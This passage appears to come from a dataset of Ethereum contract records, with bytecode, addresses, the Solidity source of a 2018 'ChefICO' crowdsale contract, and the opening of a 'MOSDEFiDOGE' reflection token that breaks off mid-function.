604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b925092905056fe4465626f756e6361626c653a20616c72656164792063616c6c656420696e20746869732074696d6520736c6f74556e697377617056324c6962726172793a204944454e544943414c5f4144445245535345534669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726fa2646970667358221220e915d4177259d4708b5910be240440d914bf569ee01b088dc886081714e754f764736f6c63430006060033
[ 10, 4, 12 ]
0xf2665a78aec490c1bb5ab3e0927050e1857f70f9
/* The ChefICO Smart Contract has the following features implemented: - ETH can only be deposited before the 1st of July, 2018., and only in amounts greater to or equal to 0.2 ETH. - A address(person) can not deposit ETH to the smart contract after they have already deposited 250 ETH. - It is not possible to deposit ETH to the smart contract once the hard cap has been reached. - If a address(person) deposits an ETH amount which makes the total funds deposited to the smart contract exceed the hard cap, exceeded amount is returned to the address. - If a address(person) deposits an amount which is greater than 250 ETH, or which makes their total deposits through the ICO exceed 250 ETH, exceeded amount is returned to the address. - If a address(person) deposits an amount that is less than 10 ETH, they achieve certain bonuses based on the time of the transaction. The time-based bonuses for deposits that are less than 10 ETH are defined as follows: 1. Deposits made within the first ten days of the ICO achieve a 20% bonus in CHEF tokens. 2. Deposits made within the second ten days of the ICO achieve a 15% bonus in CHEF tokens. 3. Deposits made within the third ten days of the ICO achieve a 10% bonus in CHEF tokens. 4. Deposits made within the fourth ten days of the ICO achieve a 5% bonus in CHEF tokens. - If a address(person) deposits an amount that is equal to or greater than 10 ETH, they achieve certain bonuses based on the amount transfered. The volume-based bonuses for deposits that are greater than or equal to 10 ETH are defined as follows: 1. Deposits greater than or equal to 150 ETH achieve a 35% bonus in CHEF tokens. 2. Deposits smaller than 150 ETH, but greater than or equal to 70 ETH achieve a 30% bonus in CHEF tokens. 3. Deposits smaller than 70 ETH, but greater than or equal to 25 ETH achieve a 25% bonus in CHEF tokens. 4. Deposits smaller than 25 ETH, but greater than or equal to 10 ETH achieve a 20% bonus in CHEF tokens. Short overview of significant functions: - safeWithdrawal: This function enables users to withdraw the funds they have deposited to the ICO in case the ICO does not reach the soft cap. It will be possible to withdraw the deposited ETH only after the 1st of July, 2018. - chefOwnerWithdrawal: This function enables the ICO smart contract owner to withdraw the funds in case the ICO reaches the soft or hard cap (ie. the ICO is successful). The CHEF tokens will be released to investors manually, after we check the KYC status of each person that has contributed 10 or more ETH, as well as we confirm that each person has not contributed more than 10 ETH from several addresses. */ pragma solidity 0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ChefICO { using SafeMath for uint256; uint256 public softCap; uint256 public hardCap; uint256 public totalAmount; uint256 public chefPrice; uint256 public minimumInvestment; uint256 public maximumInvestment; uint256 public finalBonus; uint256 public icoStart; uint256 public icoEnd; address public chefOwner; bool public softCapReached = false; bool public hardCapReached = false; mapping(address => uint256) public balanceOf; mapping(address => uint256) public chefBalanceOf; event ChefICOSucceed(address indexed recipient, uint totalAmount); event ChefICOTransfer(address indexed tokenHolder, uint value, bool isContribution); function ChefICO() public { softCap = 7000 * 1 ether; hardCap = 22500 * 1 ether; totalAmount = 1100 * 1 ether; //Private presale funds with 35% bonus chefPrice = 0.0001 * 1 ether; minimumInvestment = 1 ether / 5; maximumInvestment = 250 * 1 ether; icoStart = 1525471200; icoEnd = 1530396000; chefOwner = msg.sender; } function balanceOf(address _contributor) public view returns (uint256 balance) { return balanceOf[_contributor]; } function chefBalanceOf(address _contributor) public view returns (uint256 balance) { return chefBalanceOf[_contributor]; } modifier onlyOwner() { require(msg.sender == chefOwner); _; } modifier afterICOdeadline() { require(now >= icoEnd ); _; } modifier beforeICOdeadline() { require(now <= icoEnd ); _; } function () public payable beforeICOdeadline { uint256 amount = msg.value; require(!hardCapReached); require(amount >= minimumInvestment && balanceOf[msg.sender] < maximumInvestment); if(hardCap <= totalAmount.add(amount)) { hardCapReached = true; emit ChefICOSucceed(chefOwner, hardCap); if(hardCap < totalAmount.add(amount)) { uint256 returnAmount = totalAmount.add(amount).sub(hardCap); msg.sender.transfer(returnAmount); emit ChefICOTransfer(msg.sender, returnAmount, false); amount = amount.sub(returnAmount); } } if(maximumInvestment < balanceOf[msg.sender].add(amount)) { uint overMaxAmount = balanceOf[msg.sender].add(amount).sub(maximumInvestment); msg.sender.transfer(overMaxAmount); emit ChefICOTransfer(msg.sender, overMaxAmount, false); amount = amount.sub(overMaxAmount); } totalAmount = totalAmount.add(amount); balanceOf[msg.sender] = balanceOf[msg.sender].add(amount); if (amount >= 10 ether) { if (amount >= 150 ether) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(135).div(100)); } else if (amount >= 70 ether) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(130).div(100)); } else if (amount >= 25 ether) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(125).div(100)); } else { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(120).div(100)); } } else if (now <= icoStart.add(10 days)) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(120).div(100)); } else if (now <= icoStart.add(20 days)) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(115).div(100)); } else if (now <= icoStart.add(30 days)) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(110).div(100)); } else if (now <= icoStart.add(40 days)) { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice).mul(105).div(100)); } else { chefBalanceOf[msg.sender] = chefBalanceOf[msg.sender].add(amount.div(chefPrice)); } emit ChefICOTransfer(msg.sender, amount, true); if (totalAmount >= softCap && softCapReached == false ){ softCapReached = true; emit ChefICOSucceed(chefOwner, totalAmount); } } function safeWithdrawal() public afterICOdeadline { if (!softCapReached) { uint256 amount = balanceOf[msg.sender]; balanceOf[msg.sender] = 0; if (amount > 0) { msg.sender.transfer(amount); emit ChefICOTransfer(msg.sender, amount, false); } } } function chefOwnerWithdrawal() public onlyOwner { if ((now >= icoEnd && softCapReached) || hardCapReached) { chefOwner.transfer(totalAmount); emit ChefICOTransfer(chefOwner, totalAmount, false); } } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630563451a14610e835780631a39d8ef14610eae5780632b925b2514610ed95780632b9edee914610f0457806339d216f214610f3357806370a0823114610f8a578063744a8f7714610fe1578063827037db1461100c578063906a26e0146110375780639762f80214611062578063a96948c614611091578063aee7e176146110e8578063b904088e14611113578063c93ce90f1461113e578063fb86a40414611155578063fd6b7ef814611180575b600080600060085442111515156100fc57600080fd5b349250600960159054906101000a900460ff1615151561011b57600080fd5b600454831015801561016d5750600554600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b151561017857600080fd5b61018d8360025461119790919063ffffffff16565b600154111515610326576001600960156101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdf7d6de017d72a1a65f53466529e7bf831dcc50115a547a534dadb05224e7ce76001546040518082815260200191505060405180910390a26102398360025461119790919063ffffffff16565b60015410156103255761026b60015461025d8560025461119790919063ffffffff16565b6111b390919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156102b3573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f4bf5602dd5c3c08b9290dae94093a050a1ac3879a1a5a188e1c330877223c37483600060405180838152602001821515151581526020019250505060405180910390a261032282846111b390919063ffffffff16565b92505b5b61037883600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b60055410156104a1576103e76005546103d985600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b6111b390919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561042f573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f4bf5602dd5c3c08b9290dae94093a050a1ac3879a1a5a188e1c330877223c37482600060405180838152602001821515151581526020019250505060405180910390a261049e81846111b390919063ffffffff16565b92505b6104b68360025461119790919063ffffffff16565b60028190555061050e83600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550678ac7230489e80000831015156108eb57680821ab0d441498000083101515610648576106006105b260646105a46087610596600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e6565b6803cb71f51fc55800008310151561072e576106e6610698606461068a608261067c600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e5565b68015af1d78b58c4000083101515610814576107cc61077e6064610770607d610762600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e4565b6108a061085260646108446078610836600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b610d69565b610903620d2f0060075461119790919063ffffffff16565b421115156109df57610997610949606461093b607861092d600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d68565b6109f7621a5e0060075461119790919063ffffffff16565b42111515610ad357610a8b610a3d6064610a2f6073610a21600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d67565b610aeb62278d0060075461119790919063ffffffff16565b42111515610bc757610b7f610b316064610b23606e610b15600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d66565b610bdf6234bc0060075461119790919063ffffffff16565b42111515610cbb57610c73610c256064610c176069610c09600354896111cc90919063ffffffff16565b6111e290919063ffffffff16565b6111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d65565b610d21610cd3600354856111cc90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119790919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b5b3373ffffffffffffffffffffffffffffffffffffffff167f4bf5602dd5c3c08b9290dae94093a050a1ac3879a1a5a188e1c330877223c37484600160405180838152602001821515151581526020019250505060405180910390a260005460025410158015610deb575060001515600960149054906101000a900460ff161515145b15610e7e576001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdf7d6de017d72a1a65f53466529e7bf831dcc50115a547a534dadb05224e7ce76002546040518082815260200191505060405180910390a25b505050005b348015610e8f57600080fd5b50610e9861121a565b6040518082815260200191505060405180910390f35b348015610eba57600080fd5b50610ec3611220565b6040518082815260200191505060405180910390f35b348015610ee557600080fd5b50610eee611226565b6040518082815260200191505060405180910390f35b348015610f1057600080fd5b50610f1961122c565b604051808215151515815260200191505060405180910390f35b348015610f3f57600080fd5b50610f4861123f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9657600080fd5b50610fcb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611265565b6040518082815260200191505060405180910390f35b348015610fed57600080fd5b50610ff66112ae565b6040518082815260200191505060405180910390f35b34801561101857600080fd5b506110216112b4565b6040518082815260200191505060405180910390f35b34801561104357600080fd5b5061104c6112ba565b6040518082815260200191505060405180910390f35b34801561106e57600080fd5b506110776112c0565b604051808215151515815260200191505060405180910390f35b34801561109d57600080fd5b506110d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d3565b6040518082815260200191505060405180910390f35b3480156110f457600080fd5b506110fd61131c565b6040518082815260200191505060405180910390f35b34801561111f57600080fd5b50611128611322565b6040518082815260200191505060405180910390f35b34801561114a57600080fd5b50611153611328565b005b34801561116157600080fd5b5061116a6114ab565b6040518082815260200191505060405180910390f35b34801561118c57600080fd5b506111956114b1565b005b600081830190508281101515156111aa57fe5b80905092915050565b60008282111515156111c157fe5b818303905092915050565b600081838115156111d957fe5b04905092915050565b6000808314156111f55760009050611214565b818302905081838281151561120657fe5b0414151561121057fe5b8090505b92915050565b60085481565b60025481565b60045481565b600960149054906101000a900460ff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60035481565b60075481565b60005481565b600960159054906101000a900460ff1681565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60055481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138457600080fd5b60085442101580156113a25750600960149054906101000a900460ff165b806113b95750600960159054906101000a900460ff165b156114a957600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f19350505050158015611428573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f4bf5602dd5c3c08b9290dae94093a050a1ac3879a1a5a188e1c330877223c374600254600060405180838152602001821515151581526020019250505060405180910390a25b565b60015481565b600060085442101515156114c457600080fd5b600960149054906101000a900460ff16151561160e57600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081111561160d573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115b0573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f4bf5602dd5c3c08b9290dae94093a050a1ac3879a1a5a188e1c330877223c37482600060405180838152602001821515151581526020019250505060405180910390a25b5b505600a165627a7a723058204238e33402cda2d26bde342e3cd3c40d10eec2d5f909694b14ce1a18e468eb100029
[ 4 ]
0xf2675532ec0bd497c7cc7c6a423afe68024d1e76
pragma solidity ^0.6.12; // MOSDEFiDOGE - the token for the Music Industry to go DEFI // 100% in LP // 18% to holders // 2% tax burn // https://t.me/mosdefidoge // STEALTH LAUNCH abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MOSDEFiDOGE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'MOSDEFiDOGE'; string private _symbol = 'MDDOGE'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function 